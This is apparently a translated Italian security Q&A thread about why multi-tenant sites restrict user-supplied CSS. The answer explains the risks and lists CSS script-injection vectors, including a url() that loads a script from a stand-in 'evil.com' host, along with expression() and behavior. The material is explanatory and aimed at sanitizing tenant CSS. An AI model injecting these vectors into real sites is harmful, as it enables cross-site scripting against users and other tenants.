Sto leggendo la Guida a multi-tenant di Patterns and Practic e lì dentro dice
Cascading style sheets Behaviors are one feature that the Surveys site will not support.
Quali funzionalità CSS dovrei supportare in un sito web multi-tenant?
Sto leggendo la Guida a multi-tenant di Patterns and Practic e lì dentro dice
Cascading style sheets Behaviors are one feature that the Surveys site will not support.
Quali funzionalità CSS dovrei supportare in un sito web multi-tenant?
Ci sono due problemi.
I CSS possono contenere Javascript. I browser più vecchi eseguiranno il Javascript. Il Javascript riceve tutti i privilegi concessi al sito web, quindi questo consentirebbe a ciascun inquilino di ottenere privilegi che non dovrebbe ricevere (ad esempio, i privilegi di pasticciare con altri inquilini o di fare confusione con il sito circostante). Ad esempio, il worm Samy e una recente vulnerabilità di Facebook riguardava entrambi i CSS dannosi.
I browser più recenti non eseguiranno il Javascript, ma ci sono ancora molti vecchi browser là fuori. I modi di includere Javascript o altri contenuti attivi nei CSS includono espressioni come url(javascript:alert())
, url("http://evil.com/evil.js")
, expression(alert())
, -moz-binding:
, behavior:
, e possibilmente altri.
I CSS di un titolare possono provare a impostare gli stili nell'HTML per gli altri titolari o per il sito circostante. Ciò potrebbe causare impatti negativi.
In linea di principio, potresti scrivere un disinfettante CSS per difendersi da questi attacchi e consentire comunque agli inquilini di specificare il proprio CSS. Tuttavia, è abbastanza difficile fare bene e sarebbe facile introdurre un errore, quindi non è qualcosa da intraprendere alla leggera.
L'articolo è vago a riguardo, ma rischierei di indovinare che si riferivano al blocco di contenuti come JavaScript.
Leggi altre domande sui tag cloud-computing web-application appsec